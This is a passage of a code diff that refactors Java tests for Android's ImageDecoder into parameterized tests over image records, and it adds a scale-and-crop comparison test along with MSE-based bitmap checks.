+                assertFalse(bm.isMutable());
+                // FIXME: This may change for small resources, etc.
+                assertEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+            } catch (IOException e) {
+                fail("Failed with exception " + e);
             }
         }
     }
 
+    // Return a single Record for simple tests.
+    private Record getRecord() {
+        return ((Record[]) getRecords())[0];
+    }
+
     @Test(expected = IllegalArgumentException.class)
     public void testSetBogusAllocator() {
-        ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+        ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
         try {
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> decoder.setAllocator(15));
         } catch (IOException e) {
@@ -341,7 +346,7 @@
 
     @Test
     public void testGetAllocator() {
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -357,7 +362,8 @@
     }
 
     @Test
-    public void testSetAllocatorDecodeBitmap() {
+    @Parameters(method = "getRecords")
+    public void testSetAllocatorDecodeBitmap(Record record) {
         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public int allocator;
             public boolean doCrop;
@@ -378,48 +384,47 @@
         Listener l = new Listener();
 
         boolean trueFalse[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (int allocator : ALLOCATORS) {
-                    for (boolean doCrop : trueFalse) {
-                        for (boolean doScale : trueFalse) {
-                            l.doCrop = doCrop;
-                            l.doScale = doScale;
-                            l.allocator = allocator;
-                            ImageDecoder.Source src = f.apply(record.resId);
-                            assertNotNull(src);
+        Resources res = getResources();
+        ImageDecoder.Source src = ImageDecoder.createSource(res, record.resId);
+        assertNotNull(src);
+        for (int allocator : ALLOCATORS) {
+            for (boolean doCrop : trueFalse) {
+                for (boolean doScale : trueFalse) {
+                    l.doCrop = doCrop;
+                    l.doScale = doScale;
+                    l.allocator = allocator;
 
-                            Bitmap bm = null;
-                            try {
-                               bm = ImageDecoder.decodeBitmap(src, l);
-                            } catch (IOException e) {
-                                fail("Failed " + getAsResourceUri(record.resId) +
-                                        " with exception " + e);
+                    Bitmap bm = null;
+                    try {
+                        bm = ImageDecoder.decodeBitmap(src, l);
+                    } catch (IOException e) {
+                        fail("Failed " + getAsResourceUri(record.resId)
+                                + " with exception " + e);
+                    }
+                    assertNotNull(bm);
+
+                    switch (allocator) {
+                        case ImageDecoder.ALLOCATOR_SOFTWARE:
+                        // TODO: Once Bitmap provides access to its
+                        // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
+                        // worked.
+                        case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
+                            assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+
+                            if (!doScale && !doCrop) {
+                                BitmapFactory.Options options = new BitmapFactory.Options();
+                                options.inScaled = false;
+                                Bitmap reference = BitmapFactory.decodeResource(res,
+                                        record.resId, options);
+                                assertNotNull(reference);
+                                assertTrue(BitmapUtils.compareBitmaps(bm, reference));
                             }
-                            assertNotNull(bm);
-
-                            switch (allocator) {
-                                case ImageDecoder.ALLOCATOR_SOFTWARE:
-                                // TODO: Once Bitmap provides access to its
-                                // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
-                                // worked.
-                                case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
-                                    assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
-
-                                    if (!doScale && !doCrop) {
-                                        Bitmap reference = BitmapFactory.decodeResource(mRes,
-                                                record.resId, null);
-                                        assertNotNull(reference);
-                                        BitmapUtils.compareBitmaps(bm, reference);
-                                    }
-                                    break;
-                                default:
-                                    String name = getAsResourceUri(record.resId).toString();
-                                    assertEquals("image " + name + "; allocator: " + allocator,
-                                                 Bitmap.Config.HARDWARE, bm.getConfig());
-                                    break;
-                            }
-                        }
+                            break;
+                        default:
+                            String name = getAsResourceUri(record.resId).toString();
+                            assertEquals("image " + name + "; allocator: " + allocator,
+                                         Bitmap.Config.HARDWARE, bm.getConfig());
+                            break;
                     }
                 }
             }
@@ -428,7 +433,7 @@
 
     @Test
     public void testGetUnpremul() {
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
@@ -484,7 +489,7 @@
                 (canvas) -> PixelFormat.UNKNOWN,
                 null,
         };
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -501,7 +506,8 @@
     }
 
     @Test
-    public void testPostProcessor() {
+    @Parameters(method = "getRecords")
+    public void testPostProcessor(Record record) {
         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public boolean requireSoftware;
             @Override
@@ -518,44 +524,41 @@
         };
         Listener l = new Listener();
         boolean trueFalse[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (boolean requireSoftware : trueFalse) {
-                    l.requireSoftware = requireSoftware;
-                    ImageDecoder.Source src = f.apply(record.resId);
-                    assertNotNull(src);
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+        assertNotNull(src);
+        for (boolean requireSoftware : trueFalse) {
+            l.requireSoftware = requireSoftware;
 
-                    Bitmap bitmap = null;
-                    try {
-                        bitmap = ImageDecoder.decodeBitmap(src, l);
-                    } catch (IOException e) {
-                        fail("Failed with exception " + e);
-                    }
-                    assertNotNull(bitmap);
-                    assertFalse(bitmap.isMutable());
-                    if (requireSoftware) {
-                        assertNotEquals(Bitmap.Config.HARDWARE, bitmap.getConfig());
-                        for (int x = 0; x < bitmap.getWidth(); ++x) {
-                            for (int y = 0; y < bitmap.getHeight(); ++y) {
-                                int color = bitmap.getPixel(x, y);
-                                assertEquals("pixel at (" + x + ", " + y + ") does not match!",
-                                        color, Color.BLACK);
-                            }
-                        }
-                    } else {
-                        assertEquals(bitmap.getConfig(), Bitmap.Config.HARDWARE);
+            Bitmap bitmap = null;
+            try {
+                bitmap = ImageDecoder.decodeBitmap(src, l);
+            } catch (IOException e) {
+                fail("Failed with exception " + e);
+            }
+            assertNotNull(bitmap);
+            assertFalse(bitmap.isMutable());
+            if (requireSoftware) {
+                assertNotEquals(Bitmap.Config.HARDWARE, bitmap.getConfig());
+                for (int x = 0; x < bitmap.getWidth(); ++x) {
+                    for (int y = 0; y < bitmap.getHeight(); ++y) {
+                        int color = bitmap.getPixel(x, y);
+                        assertEquals("pixel at (" + x + ", " + y + ") does not match!",
+                                color, Color.BLACK);
                     }
                 }
+            } else {
+                assertEquals(bitmap.getConfig(), Bitmap.Config.HARDWARE);
             }
         }
     }
 
     @Test
     public void testNinepatchWithDensityNone() {
+        Resources res = getResources();
         TypedValue value = new TypedValue();
-        InputStream is = mRes.openRawResource(R.drawable.ninepatch_nodpi, value);
+        InputStream is = res.openRawResource(R.drawable.ninepatch_nodpi, value);
         // This does not call ImageDecoder directly because this entry point is not public.
-        Drawable dr = Drawable.createFromResourceStream(mRes, value, is, null, null);
+        Drawable dr = Drawable.createFromResourceStream(res, value, is, null, null);
         assertNotNull(dr);
         assertEquals(5, dr.getIntrinsicWidth());
         assertEquals(5, dr.getIntrinsicHeight());
@@ -632,7 +635,8 @@
     }
 
     @Test
-    public void testPostProcessorAndAddedTransparency() {
+    @Parameters(method = "getRecords")
+    public void testPostProcessorAndAddedTransparency(Record record) {
         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public boolean requireSoftware;
             @Override
@@ -646,18 +650,16 @@
         };
         Listener l = new Listener();
         boolean trueFalse[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (boolean requireSoftware : trueFalse) {
-                    l.requireSoftware = requireSoftware;
-                    ImageDecoder.Source src = f.apply(record.resId);
-                    try {
-                        Bitmap bm = ImageDecoder.decodeBitmap(src, l);
-                        assertTrue(bm.hasAlpha());
-                        assertTrue(bm.isPremultiplied());
-                    } catch (IOException e) {
-                        fail("Failed with exception " + e);
-                    }
+        for (SourceCreator f : mCreators) {
+            for (boolean requireSoftware : trueFalse) {
+                l.requireSoftware = requireSoftware;
+                ImageDecoder.Source src = f.apply(record.resId);
+                try {
+                    Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+                    assertTrue(bm.hasAlpha());
+                    assertTrue(bm.isPremultiplied());
+                } catch (IOException e) {
+                    fail("Failed with exception " + e);
                 }
             }
         }
@@ -677,7 +679,7 @@
 
     @Test(expected = IllegalArgumentException.class)
     public void testPostProcessorInvalidReturn() {
-        ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+        ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
                 decoder.setPostProcessor((c) -> 42);
@@ -689,7 +691,7 @@
 
     @Test(expected = IllegalStateException.class)
     public void testPostProcessorAndUnpremul() {
-        ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+        ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
                 decoder.setUnpremultipliedRequired(true);
@@ -701,7 +703,8 @@
     }
 
     @Test
-    public void testPostProcessorAndScale() {
+    @Parameters(method = "getRecords")
+    public void testPostProcessorAndScale(Record record) {
         class PostProcessorWithSize implements PostProcessor {
             public int width;
             public int height;
@@ -713,21 +716,19 @@
             };
         };
         final PostProcessorWithSize pp = new PostProcessorWithSize();
-        for (Record record : RECORDS) {
-            pp.width =  record.width  / 2;
-            pp.height = record.height / 2;
-            for (SourceCreator f : mCreators) {
-                ImageDecoder.Source src = f.apply(record.resId);
-                try {
-                    Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        decoder.setTargetSize(pp.width, pp.height);
-                        decoder.setPostProcessor(pp);
-                    });
-                    assertEquals(pp.width,  drawable.getIntrinsicWidth());
-                    assertEquals(pp.height, drawable.getIntrinsicHeight());
-                } catch (IOException e) {
-                    fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
-                }
+        pp.width =  record.width  / 2;
+        pp.height = record.height / 2;
+        for (SourceCreator f : mCreators) {
+            ImageDecoder.Source src = f.apply(record.resId);
+            try {
+                Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    decoder.setTargetSize(pp.width, pp.height);
+                    decoder.setPostProcessor(pp);
+                });
+                assertEquals(pp.width,  drawable.getIntrinsicWidth());
+                assertEquals(pp.height, drawable.getIntrinsicHeight());
+            } catch (IOException e) {
+                fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
             }
         }
     }
@@ -748,21 +749,20 @@
     }
 
     @Test
-    public void testSampleSize() {
-        for (Record record : RECORDS) {
-            final String name = getAsResourceUri(record.resId).toString();
-            for (int sampleSize : new int[] { 2, 3, 4, 8, 32 }) {
-                ImageDecoder.Source src = mCreators[0].apply(record.resId);
-                try {
-                    Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        decoder.setTargetSampleSize(sampleSize);
-                    });
+    @Parameters(method = "getRecords")
+    public void testSampleSize(Record record) {
+        final String name = getAsResourceUri(record.resId).toString();
+        for (int sampleSize : new int[] { 2, 3, 4, 8, 32 }) {
+            ImageDecoder.Source src = mCreators[0].apply(record.resId);
+            try {
+                Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    decoder.setTargetSampleSize(sampleSize);
+                });
 
-                    checkSampleSize(name, record.width, sampleSize, dr.getIntrinsicWidth());
-                    checkSampleSize(name, record.height, sampleSize, dr.getIntrinsicHeight());
-                } catch (IOException e) {
-                    fail("Failed " + name + " with exception " + e);
-                }
+                checkSampleSize(name, record.width, sampleSize, dr.getIntrinsicWidth());
+                checkSampleSize(name, record.height, sampleSize, dr.getIntrinsicHeight());
+            } catch (IOException e) {
+                fail("Failed " + name + " with exception " + e);
             }
         }
     }
@@ -770,25 +770,23 @@
     private interface SampleSizeSupplier extends ToIntFunction<Size> {};
 
     @Test
-    public void testLargeSampleSize() {
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (SampleSizeSupplier supplySampleSize : new SampleSizeSupplier[] {
-                        (size) -> size.getWidth(),
-                        (size) -> size.getWidth() + 5,
-                        (size) -> size.getWidth() * 5,
-                }) {
-                    ImageDecoder.Source src = f.apply(record.resId);
-                    try {
-                        Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                            int sampleSize = supplySampleSize.applyAsInt(info.getSize());
-                            decoder.setTargetSampleSize(sampleSize);
-                        });
-                        assertEquals(1, dr.getIntrinsicWidth());
-                    } catch (IOException e) {
-                        fail("Failed with exception " + e);
-                    }
-                }
+    @Parameters(method = "getRecords")
+    public void testLargeSampleSize(Record record) {
+        ImageDecoder.Source src = mCreators[0].apply(record.resId);
+        for (SampleSizeSupplier supplySampleSize : new SampleSizeSupplier[] {
+                (size) -> size.getWidth(),
+                (size) -> size.getWidth() + 5,
+                (size) -> size.getWidth() * 5,
+        }) {
+            try {
+                Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    int sampleSize = supplySampleSize.applyAsInt(info.getSize());
+                    decoder.setTargetSampleSize(sampleSize);
+                });
+                assertEquals(1, dr.getIntrinsicWidth());
+            } catch (Exception e) {
+                String file = getAsResourceUri(record.resId).toString();
+                fail("Failed to decode " + file + " with exception " + e);
             }
         }
     }
@@ -851,7 +849,7 @@
                 null,
         };
 
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -897,7 +895,7 @@
         int mPosition;
 
         ExceptionStream(int resId, int exceptionPosition) {
-            mInputStream = mRes.openRawResource(resId);
+            mInputStream = getResources().openRawResource(resId);
             mExceptionPosition = exceptionPosition;
             mPosition = 0;
         }
@@ -930,7 +928,8 @@
     @Test
     public void testExceptionInStream() throws Throwable {
         InputStream is = new ExceptionStream(R.drawable.animated, 27570);
-        ImageDecoder.Source src = ImageDecoder.createSource(mRes, is, Bitmap.DENSITY_NONE);
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), is,
+                Bitmap.DENSITY_NONE);
         Drawable dr = null;
         try {
             dr = ImageDecoder.decodeDrawable(src);
@@ -947,7 +946,8 @@
     }
 
     @Test
-    public void testOnPartialImage() {
+    @Parameters(method = "getRecords")
+    public void testOnPartialImage(Record record) {
         class PartialImageCallback implements OnPartialImageListener {
             public boolean wasCalled;
             public boolean returnDrawable;
@@ -962,46 +962,44 @@
         };
         final PartialImageCallback callback = new PartialImageCallback();
         boolean abortDecode[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            byte[] bytes = getAsByteArray(record.resId);
-            int truncatedLength = bytes.length / 2;
-            if (record.mimeType.equals("image/x-ico")
-                    || record.mimeType.equals("image/x-adobe-dng")
-                    || record.mimeType.equals("image/heif")) {
-                // FIXME (scroggo): Some codecs currently do not support incomplete images.
-                continue;
-            }
-            for (boolean abort : abortDecode) {
-                ImageDecoder.Source src = ImageDecoder.createSource(
-                        ByteBuffer.wrap(bytes, 0, truncatedLength));
-                callback.wasCalled = false;
-                callback.returnDrawable = !abort;
-                callback.source = src;
-                try {
-                    Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        decoder.setOnPartialImageListener(callback);
-                    });
-                    assertFalse(abort);
-                    assertNotNull(drawable);
-                    assertEquals(record.width,  drawable.getIntrinsicWidth());
-                    assertEquals(record.height, drawable.getIntrinsicHeight());
-                } catch (IOException e) {
-                    assertTrue(abort);
-                }
-                assertTrue(callback.wasCalled);
-            }
-
-            // null listener behaves as if onPartialImage returned false.
+        byte[] bytes = getAsByteArray(record.resId);
+        int truncatedLength = bytes.length / 2;
+        if (record.mimeType.equals("image/x-ico")
+                || record.mimeType.equals("image/x-adobe-dng")
+                || record.mimeType.equals("image/heif")) {
+            // FIXME (scroggo): Some codecs currently do not support incomplete images.
+            return;
+        }
+        for (boolean abort : abortDecode) {
             ImageDecoder.Source src = ImageDecoder.createSource(
                     ByteBuffer.wrap(bytes, 0, truncatedLength));
+            callback.wasCalled = false;
+            callback.returnDrawable = !abort;
+            callback.source = src;
             try {
-                ImageDecoder.decodeDrawable(src);
-                fail("Should have thrown an exception!");
-            } catch (DecodeException incomplete) {
-                // This is the correct behavior.
+                Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    decoder.setOnPartialImageListener(callback);
+                });
+                assertFalse(abort);
+                assertNotNull(drawable);
+                assertEquals(record.width,  drawable.getIntrinsicWidth());
+                assertEquals(record.height, drawable.getIntrinsicHeight());
             } catch (IOException e) {
-                fail("Failed with exception " + e);
+                assertTrue(abort);
             }
+            assertTrue(callback.wasCalled);
+        }
+
+        // null listener behaves as if onPartialImage returned false.
+        ImageDecoder.Source src = ImageDecoder.createSource(
+                ByteBuffer.wrap(bytes, 0, truncatedLength));
+        try {
+            ImageDecoder.decodeDrawable(src);
+            fail("Should have thrown an exception!");
+        } catch (DecodeException incomplete) {
+            // This is the correct behavior.
+        } catch (IOException e) {
+            fail("Failed with exception " + e);
         }
     }
 
@@ -1061,7 +1059,7 @@
 
     @Test
     public void testGetMutable() {
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1079,7 +1077,8 @@
     }
 
     @Test
-    public void testMutable() {
+    @Parameters(method = "getRecords")
+    public void testMutable(Record record) {
         int allocators[] = new int[] { ImageDecoder.ALLOCATOR_DEFAULT,
                                        ImageDecoder.ALLOCATOR_SOFTWARE,
                                        ImageDecoder.ALLOCATOR_SHARED_MEMORY };
@@ -1099,22 +1098,19 @@
         };
         HeaderListener l = new HeaderListener();
         boolean trueFalse[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (boolean postProcess : trueFalse) {
-                    for (int allocator : allocators) {
-                        l.allocator = allocator;
-                        l.postProcess = postProcess;
+        ImageDecoder.Source src = mCreators[0].apply(record.resId);
+        for (boolean postProcess : trueFalse) {
+            for (int allocator : allocators) {
+                l.allocator = allocator;
+                l.postProcess = postProcess;
 
-                        ImageDecoder.Source src = f.apply(record.resId);
-                        try {
-                            Bitmap bm = ImageDecoder.decodeBitmap(src, l);
-                            assertTrue(bm.isMutable());
-                            assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
-                        } catch (IOException e) {
-                            fail("Failed with exception " + e);
-                        }
-                    }
+                try {
+                    Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+                    assertTrue(bm.isMutable());
+                    assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+                } catch (Exception e) {
+                    String file = getAsResourceUri(record.resId).toString();
+                    fail("Failed to decode " + file + " with exception " + e);
                 }
             }
         }
@@ -1122,7 +1118,7 @@
 
     @Test(expected = IllegalStateException.class)
     public void testMutableHardware() {
-        ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+        ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
         try {
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
                 decoder.setMutableRequired(true);
@@ -1135,7 +1131,7 @@
 
     @Test(expected = IllegalStateException.class)
     public void testMutableDrawable() {
-        ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+        ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
                 decoder.setMutableRequired(true);
@@ -1205,7 +1201,8 @@
     }
 
     @Test
-    public void testTargetSize() {
+    @Parameters(method = "getRecords")
+    public void testTargetSize(Record record) {
         class ResizeListener implements ImageDecoder.OnHeaderDecodedListener {
             public int width;
             public int height;
@@ -1218,49 +1215,41 @@
         ResizeListener l = new ResizeListener();
 
         float[] scales = new float[] { .0625f, .125f, .25f, .5f, .75f, 1.1f, 2.0f };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (int j = 0; j < scales.length; ++j) {
-                    l.width  = (int) (scales[j] * record.width);
-                    l.height = (int) (scales[j] * record.height);
+        ImageDecoder.Source src = mCreators[0].apply(record.resId);
+        for (int j = 0; j < scales.length; ++j) {
+            l.width  = (int) (scales[j] * record.width);
+            l.height = (int) (scales[j] * record.height);
 
-                    ImageDecoder.Source src = f.apply(record.resId);
+            try {
+                Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+                assertEquals(l.width,  drawable.getIntrinsicWidth());
+                assertEquals(l.height, drawable.getIntrinsicHeight());
 
-                    try {
-                        Drawable drawable = ImageDecoder.decodeDrawable(src, l);
-                        assertEquals(l.width,  drawable.getIntrinsicWidth());
-                        assertEquals(l.height, drawable.getIntrinsicHeight());
-
-                        src = f.apply(record.resId);
-                        Bitmap bm = ImageDecoder.decodeBitmap(src, l);
-                        assertEquals(l.width,  bm.getWidth());
-                        assertEquals(l.height, bm.getHeight());
-                    } catch (IOException e) {
-                        fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
-                    }
-                }
-
-                try {
-                    // Arbitrary square.
-                    l.width  = 50;
-                    l.height = 50;
-                    ImageDecoder.Source src = f.apply(record.resId);
-                    Drawable drawable = ImageDecoder.decodeDrawable(src, l);
-                    assertEquals(50,  drawable.getIntrinsicWidth());
-                    assertEquals(50, drawable.getIntrinsicHeight());
-
-                    // Swap width and height, for different scales.
-                    l.height = record.width;
-                    l.width  = record.height;
-                    src = f.apply(record.resId);
-                    drawable = ImageDecoder.decodeDrawable(src, l);
-                    assertEquals(record.height, drawable.getIntrinsicWidth());
-                    assertEquals(record.width,  drawable.getIntrinsicHeight());
-                } catch (IOException e) {
-                    fail("Failed with exception " + e);
-                }
+                Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+                assertEquals(l.width,  bm.getWidth());
+                assertEquals(l.height, bm.getHeight());
+            } catch (IOException e) {
+                fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
             }
         }
+
+        try {
+            // Arbitrary square.
+            l.width  = 50;
+            l.height = 50;
+            Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+            assertEquals(50,  drawable.getIntrinsicWidth());
+            assertEquals(50, drawable.getIntrinsicHeight());
+
+            // Swap width and height, for different scales.
+            l.height = record.width;
+            l.width  = record.height;
+            drawable = ImageDecoder.decodeDrawable(src, l);
+            assertEquals(record.height, drawable.getIntrinsicWidth());
+            assertEquals(record.width,  drawable.getIntrinsicHeight());
+        } catch (IOException e) {
+            fail("Failed with exception " + e);
+        }
     }
 
     @Test
@@ -1332,7 +1321,7 @@
 
     @Test
     public void testGetCrop() {
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1352,7 +1341,8 @@
     }
 
     @Test
-    public void testCrop() {
+    @Parameters(method = "getRecords")
+    public void testCrop(Record record) {
         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public boolean doScale;
             public boolean requireSoftware;
@@ -1381,28 +1371,93 @@
         };
         Listener l = new Listener();
         boolean trueFalse[] = new boolean[] { true, false };
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                for (boolean doScale : trueFalse) {
-                    l.doScale = doScale;
-                    for (boolean requireSoftware : trueFalse) {
-                        l.requireSoftware = requireSoftware;
-                        ImageDecoder.Source src = f.apply(record.resId);
+        for (SourceCreator f : mCreators) {
+            for (boolean doScale : trueFalse) {
+                l.doScale = doScale;
+                for (boolean requireSoftware : trueFalse) {
+                    l.requireSoftware = requireSoftware;
+                    ImageDecoder.Source src = f.apply(record.resId);
 
-                        try {
-                            Drawable drawable = ImageDecoder.decodeDrawable(src, l);
-                            assertEquals(l.cropRect.width(),  drawable.getIntrinsicWidth());
-                            assertEquals(l.cropRect.height(), drawable.getIntrinsicHeight());
-                        } catch (IOException e) {
-                            fail("Failed " + getAsResourceUri(record.resId) +
-                                    " with exception " + e);
-                        }
+                    try {
+                        Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+                        assertEquals(l.cropRect.width(),  drawable.getIntrinsicWidth());
+                        assertEquals(l.cropRect.height(), drawable.getIntrinsicHeight());
+                    } catch (IOException e) {
+                        fail("Failed " + getAsResourceUri(record.resId)
+                                + " with exception " + e);
                     }
                 }
             }
         }
     }
 
+    @Test
+    public void testScaleAndCrop() {
+        class CropListener implements ImageDecoder.OnHeaderDecodedListener {
+            public boolean doCrop = true;
+            public Rect outScaledRect = null;
+            public Rect outCropRect = null;
+
+            @Override
+            public void onHeaderDecoded(ImageDecoder decoder, ImageDecoder.ImageInfo info,
+                                        ImageDecoder.Source src) {
+                // Use software for pixel comparison.
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+
+                // Scale to a size that is not directly supported by sampling.
+                Size originalSize = info.getSize();
+                int scaledWidth = originalSize.getWidth() * 2 / 3;
+                int scaledHeight = originalSize.getHeight() * 2 / 3;
+                decoder.setTargetSize(scaledWidth, scaledHeight);
+
+                outScaledRect = new Rect(0, 0, scaledWidth, scaledHeight);
+
+                if (doCrop) {
+                    outCropRect = new Rect(scaledWidth / 2, scaledHeight / 2,
+                            scaledWidth, scaledHeight);
+                    decoder.setCrop(outCropRect);
+                }
+            }
+        }
+        CropListener l = new CropListener();
+        ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+
+        // Scale and crop in a single step.
+        Bitmap oneStepBm = null;
+        try {
+            oneStepBm = ImageDecoder.decodeBitmap(src, l);
+        } catch (IOException e) {
+            fail("Failed with exception " + e);
+        }
+        assertNotNull(oneStepBm);
+        assertNotNull(l.outCropRect);
+        assertEquals(l.outCropRect.width(), oneStepBm.getWidth());
+        assertEquals(l.outCropRect.height(), oneStepBm.getHeight());
+        Rect cropRect = new Rect(l.outCropRect);
+
+        assertNotNull(l.outScaledRect);
+        Rect scaledRect = new Rect(l.outScaledRect);
+
+        // Now just scale with ImageDecoder, and crop afterwards.
+        l.doCrop = false;
+        Bitmap twoStepBm = null;
+        try {
+            twoStepBm = ImageDecoder.decodeBitmap(src, l);
+        } catch (IOException e) {
+            fail("Failed with exception " + e);
+        }
+        assertNotNull(twoStepBm);
+        assertEquals(scaledRect.width(), twoStepBm.getWidth());
+        assertEquals(scaledRect.height(), twoStepBm.getHeight());
+
+        Bitmap cropped = Bitmap.createBitmap(twoStepBm, cropRect.left, cropRect.top,
+                cropRect.width(), cropRect.height());
+        assertNotNull(cropped);
+
+        // The two should look the same.
+        assertTrue(BitmapUtils.compareBitmaps(cropped, oneStepBm, .99));
+    }
+
     @Test(expected = IllegalArgumentException.class)
     public void testResizeZeroX() {
         ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
@@ -1753,7 +1808,7 @@
 
     @Test
     public void testGetConserveMemory() {
-        final int resId = RECORDS[0].resId;
+        final int resId = getRecord().resId;
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1887,6 +1942,7 @@
 
     @Test
     public void testRespectOrientation() {
+        boolean isWebp = false;
         // These 8 images test the 8 EXIF orientations. If the orientation is
         // respected, they all have the same dimensions: 100 x 80.
         // They are also identical (after adjusting), so compare them.
@@ -1912,9 +1968,10 @@
                 // The webp files may not look exactly the same as the jpegs.
                 // Recreate the reference.
                 reference = null;
+                isWebp = true;
             }
             Uri uri = getAsResourceUri(resId);
-            ImageDecoder.Source src = ImageDecoder.createSource(mContentResolver, uri);
+            ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
             try {
                 Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
                     // Use software allocator so we can compare.
@@ -1927,7 +1984,8 @@
                 if (reference == null) {
                     reference = bm;
                 } else {
-                    BitmapUtils.compareBitmaps(bm, reference);
+                    int mse = isWebp ? 70 : 1;
+                    BitmapUtils.assertBitmapsMse(bm, reference, mse, true, false);
                 }
             } catch (IOException e) {
                 fail("Decoding " + uri.toString() + " yielded " + e);
@@ -1945,107 +2003,105 @@
     private interface ByteBufferSupplier extends Supplier<ByteBuffer> {};
 
     @Test
-    public void testOffsetByteArray() {
-        for (Record record : RECORDS) {
-            int offset = 10;
-            int extra = 15;
-            byte[] array = getAsByteArray(record.resId, offset, extra);
-            int length = array.length - extra - offset;
-            // Used for SourceCreators that set both a position and an offset.
-            int myOffset = 3;
-            int myPosition = 7;
-            assertEquals(offset, myOffset + myPosition);
+    @Parameters(method = "getRecords")
+    public void testOffsetByteArray(Record record) {
+        int offset = 10;
+        int extra = 15;
+        byte[] array = getAsByteArray(record.resId, offset, extra);
+        int length = array.length - extra - offset;
+        // Used for SourceCreators that set both a position and an offset.
+        int myOffset = 3;
+        int myPosition = 7;
+        assertEquals(offset, myOffset + myPosition);
 
-            ByteBufferSupplier[] suppliers = new ByteBufferSupplier[] {
-                    // Internally, this gives the buffer a position, but not an offset.
-                    () -> ByteBuffer.wrap(array, offset, length),
+        ByteBufferSupplier[] suppliers = new ByteBufferSupplier[] {
+                // Internally, this gives the buffer a position, but not an offset.
+                () -> ByteBuffer.wrap(array, offset, length),
+                // Same, but make it readOnly to ensure that we test the
+                // ByteBufferSource rather than the ByteArraySource.
